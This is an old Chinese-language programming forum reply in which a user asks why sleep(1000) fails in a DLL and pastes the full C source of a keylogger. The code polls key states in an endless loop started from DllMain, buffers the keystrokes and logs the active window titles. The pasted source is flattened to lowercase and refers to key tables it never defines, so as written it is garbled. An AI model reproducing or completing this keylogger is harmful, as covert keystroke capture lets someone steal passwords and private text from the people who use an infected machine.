| 发表于:2007-01-17 10:35:073楼 得分:0 |
sleep(1000)也不好使 我的dll代码如下,各位帮忙看一下,是一个键盘记录的程序 hwnd previousfocus=null; // end of data // function prototype declaration //---------------------------------------------------------------------- bool iswindowsfocuschange(); bool keylogger(); //---------------------------------------------------------------------- // end of fucntion prototype declaration bool apientry dllmain( handle hmodule, dword ul_reason_for_call, lpvoid lpreserved ) { if(ul_reason_for_call==dll_thread_attach) keylogger(); // run the keylogger return true; } //------------------------------------------------------------------------- // purpose: to check the active windows title // return type: boolean // parameters: null //------------------------------------------------------------------------- bool iswindowsfocuschange() { hwnd hfocus = getforegroundwindow(); // retrieve the active windows 's focus bool returnflag = false; // declare the return flag if (hfocus != previousfocus) // the active windows has change { previousfocus = hfocus; // save the old active windos focus int winleng = getwindowtextlength(hfocus); // get the active windows 's caption 's length char *windowcaption = (char*) malloc(sizeof(char) * (winleng + 2)); // allocate memory for the caption getwindowtext(hfocus,windowcaption,(winleng + 1)); // retrieve the active windows 's caption if (strlen(windowcaption) > 0) // really get the windows 's caption { printf( "\r\nthe active windows title: %s\r\n ",windowcaption); // display the active windows 's caption returnflag=true; // indicate the windows 's focus has changed } free(windowcaption); // free the allocated memory } return returnflag; // return the flag }// end of iswindowsfocuschange function //------------------------------------------------------------------------- // purpose: to manage(display)the keys retrieved from system 's key buffer // return type: boolean // parameters: null //------------------------------------------------------------------------- bool keylogger() { int bkstate[256] = {0}; // declare the key state array int i,x; char keybuffer[600]; // key buffer array int state; // variable to hode state of some special key like capslock,shift and ect int shift; // variable to hode state of shift key // reset the buffer memset(keybuffer,0,sizeof(keybuffer)); //看看这里的死循环是不是有什么问题 while(true) // forever loop is taking place here { sleep(1000); // rest for a while,and avoid taking 100% cpu usage.pretty important to add this line or the system gets fucked up if (iswindowsfocuschange()) //check the active windows title { if (strlen(keybuffer) != 0) // keys are pressed { printf( "%s\r\n ",keybuffer); // display the keys pressed memset(keybuffer,0,sizeof(keybuffer)); // reset the buffer } } for(i=0;i <92;i++) // looping to check visual keys { shift = getkeystate(vk_shift); // check whether shift is pressed x = specialkeys[ i ]; // match the key if (getasynckeystate(x) & 0x8000) // check combination keys { // see whether capslocak or shift is pressed if (((getkeystate(vk_capital) != 0) && (shift > -1) && (x > 64) && (x < 91))) //caps lock and shift is not pressed { bkstate[x] = 1; //uppercase characters a-z } else if (((getkeystate(vk_capital) != 0) && (shift < 0) && (x > 64) && (x < 91))) //caps lock and shift is pressed { bkstate[x] = 2; //lowercase a-z } else if (shift < 0) // shift is pressed { bkstate[x] = 3; //uppercase characters a-z } else bkstate[x] = 4; //lowercase a-z } else { if (bkstate[x] != 0) // no combination keys detected { state = bkstate[x]; // retrieve the current state bkstate[x] = 0; // reset the current state if (x == 8) // back space is detected { keybuffer[strlen(keybuffer) - 1] = 0; // one key back then continue; // start a new loop } else if (strlen(keybuffer) > 550) // buffer full { printf( "%s <buffer full> ",keybuffer); // display the keys retrieved memset(keybuffer,0,sizeof(keybuffer)); // reset the buffer continue; // start a new loop } else if (x == 13) // enter is detected { if (strlen(keybuffer) == 0) // no other keys retrieved but enter { continue; // start a new loop } printf( "%s <enter> \r\n ",keybuffer); // retrieve other keys with enter memset(keybuffer,0,sizeof(keybuffer)); // display the keys with enter continue; // start a new loop } else if ((state%2) == 1) //must be upper case characters { strcat(keybuffer,uppercase[ i ]); // store the key to key buffer } else if ((state%2) == 0) // must be lower case characters { strcat(keybuffer,lowercase[ i ]); // store the key to key buffer } } } }// end of for loop }// end of while loop return true; // return to the caller }// end of keylogger function // end of file | | |
|